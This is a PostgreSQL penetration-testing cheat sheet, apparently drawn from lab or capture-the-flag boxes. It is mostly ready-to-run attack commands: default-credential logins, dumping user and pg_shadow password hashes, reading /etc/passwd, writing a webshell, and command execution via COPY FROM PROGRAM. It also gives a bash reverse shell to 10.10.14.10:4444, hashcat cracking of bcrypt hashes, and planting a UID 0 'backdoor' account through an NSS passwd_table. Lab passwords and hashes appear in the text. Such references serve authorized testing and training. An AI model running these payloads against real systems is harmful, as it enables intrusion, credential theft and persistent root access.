# Pentesting PostgreSQL **Default Port:** 5432 PostgreSQL (psql) is an open-source relational database system. It's commonly found in web applications, especially those using Python/Django, Ruby on Rails, and Java/Spring Boot frameworks. *** ## Enumeration ### Nmap Scripts ```bash nmap -sV -p 5432 --script="pgsql-*" $ip ``` ### Banner Grabbing ```bash nc -nv $ip 5432 ``` *** ## Connecting to PostgreSQL ### Using psql Client ```bash # Basic connection psql -h -p 5432 -U -d # With password in environment variable (avoids password prompt) PGPASSWORD='password' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting # Connect to default database psql -h -U postgres # Connect via Unix socket (local) psql -U postgres ``` ### Common Default Credentials | Username | Password | | -------- | -------- | | postgres | postgres | | postgres | (empty) | | admin | admin | *** ## Essential psql Commands ### Navigation & Meta-Commands | Command | Description | | --------------- | ----------------------------------------- | | `\l` or `\list` | List all databases | | `\c ` | Connect to a database | | `\dt` | List tables in current database | | `\dt+` | List tables with size and description | | `\d ` | Describe table structure (columns, types) | | `\d+
` | Describe table with extra info | | `\du` | List users/roles | | `\dn` | List schemas | | `\df` | List functions | | `\x` | Toggle expanded display (vertical output) | | `\q` | Quit psql | ### Example Workflow ```sql -- Connect with password PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting -- List all databases \l -- Connect to a specific database \c cozyhosting -- List tables with sizes \dt+ -- Output: -- Schema | Name | Type | Owner | Size | Description -- --------+-------+-------+----------+------------+------------- -- public | hosts | table | postgres | 8192 bytes | -- public | users | table | postgres | 8192 bytes | -- Describe table structure \d users -- Output: -- Column | Type | Nullable | Default -- ----------+------------------------+----------+--------- -- name | character varying(50) | not null | -- password | character varying(100) | not null | -- role | role | | -- Enable expanded display for better readability \x -- Query data SELECT * FROM users; -- Output (expanded): -- -[ RECORD 1 ]---------------------------------------------------------- -- name | kanderson -- password | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim -- role | User -- -[ RECORD 2 ]---------------------------------------------------------- -- name | admin -- password | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm -- role | Admin -- Quit \q ``` *** ## Extracting Data ### Dumping Users and Passwords ```sql -- Get all users SELECT * FROM users; -- Get usernames and passwords specifically SELECT name, password FROM users; -- Get PostgreSQL database users SELECT usename, passwd FROM pg_shadow; ``` ### Searching for Sensitive Data ```sql -- Search for password columns across all tables SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%' OR column_name LIKE '%key%'; -- Search for specific data SELECT * FROM users WHERE role = 'Admin'; ``` *** ## File Operations (Requires Superuser) ### Reading Files ```sql -- Read a file SELECT pg_read_file('/etc/passwd'); -- Using COPY CREATE TABLE temp(content text); COPY temp FROM '/etc/passwd'; SELECT * FROM temp; ``` ### Writing Files ```sql -- Write to a file COPY (SELECT 'test') TO '/tmp/test.txt'; -- Write webshell COPY (SELECT '') TO '/var/www/html/shell.php'; ``` *** ## Command Execution ### Using COPY FROM PROGRAM (PostgreSQL 9.3+) ```sql -- Execute system commands COPY cmd_output FROM PROGRAM 'id'; -- Reverse shell COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.10/4444 0>&1"'; ``` ### Using Extensions ```sql -- Check if plpythonu is available CREATE EXTENSION plpythonu; -- Execute Python code CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS text AS $$ import subprocess return subprocess.check_output(cmd, shell=True).decode() $$ LANGUAGE plpythonu; SELECT exec_cmd('id'); ``` *** ## Cracking PostgreSQL Hashes PostgreSQL password hashes are typically bcrypt (`$2a$`, `$2b$`, `$2y$`). ```bash # Identify hash type hashcat --identify hash.txt # The following hash-modes match: # 3200 | bcrypt $2*$, Blowfish (Unix) # Crack with hashcat hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt # Example hash # $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited ``` *** ## Privilege Escalation ### Check Current User Privileges ```sql -- Check if superuser SELECT current_user, (SELECT usesuper FROM pg_user WHERE usename = current_user) as is_superuser; -- List user privileges \du ``` ### PostgreSQL to System Shell If PostgreSQL is running as root or has SUID, check for privilege escalation: ```bash # Check PostgreSQL process ps aux | grep postgres # Check psql history for credentials cat /var/lib/postgresql/.psql_history ``` *** ## PostgreSQL NSS Privilege Escalation (Name Service Switch) PostgreSQL can be used with NSS (Name Service Switch) to store Linux user credentials. If you can write to the `passwd_table`, you can add SSH users or escalate privileges. ### Discovery ```bash # Find NSS PostgreSQL config files ls -la /etc/nss-pgsql* # -rw-r--r-- 1 root root 1341 nss-pgsql.conf # -rw-rw---- 1 root root 540 nss-pgsql-root.conf # nss-pgsql-root.conf contains elevated credentials cat /etc/nss-pgsql-root.conf # shadowconnectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnssroot password=30jdsklj4d_3 ``` ### NSS Tables Structure ```sql -- Common NSS table names passwd_table -- User account info shadow_table -- Password hashes group_table -- Group info usergroups -- User-group mappings ``` ### Connect and Enumerate ```bash # Connect as elevated NSS user PGPASSWORD='password' psql -h 127.0.0.1 -p 5432 -U unixnssroot -d unix # Disable pager for clean output \pset pager off # List tables \dt # View passwd_table structure \d passwd_table # username | passwd | uid | gid | gecos | homedir | shell # View existing users SELECT * FROM passwd_table; ``` ### Add User with Root Privileges ```bash # Generate password hash (md5crypt format) openssl passwd -1 mypassword # $1$hlvkc202$rGqJSF9NqG3mnSRimbl6n1 ``` ```sql -- Insert new user with UID 0 (root) INSERT INTO passwd_table (username, passwd, uid, gid, homedir, shell) VALUES ('backdoor', '$1$hlvkc202$rGqJSF9NqG3mnSRimbl6n1', 0, 0, '/root', '/bin/bash'); -- Verify SELECT * FROM passwd_table WHERE username = 'backdoor'; ``` ### SSH as New Root User ```bash # SSH as the new user ssh backdoor@TARGET Password: mypassword # Verify root access id # uid=0(backdoor) gid=0(root) groups=0(root) ``` ### Alternative: Add User to Sudo Group If direct UID 0 doesn't work, try adding user to sudoers group (GID 27): ```sql INSERT INTO passwd_table (username, passwd, uid, gid, homedir, shell) VALUES ('sudouser', '$1$xxx$hash', 2001, 27, '/home/user', '/bin/bash'); ``` **Note:** Different NSS PostgreSQL users may have different table permissions. Test multiple credentials from `nss-pgsql.conf` and `nss-pgsql-root.conf`. *** ## Useful psql Settings ```sql -- Disable pager (prevents less/more from intercepting output) \pset pager off -- Enable expanded display for wide tables \x -- Show timing for queries \timing -- Check current user permissions \du+ ``` *** ## Useful Resources * *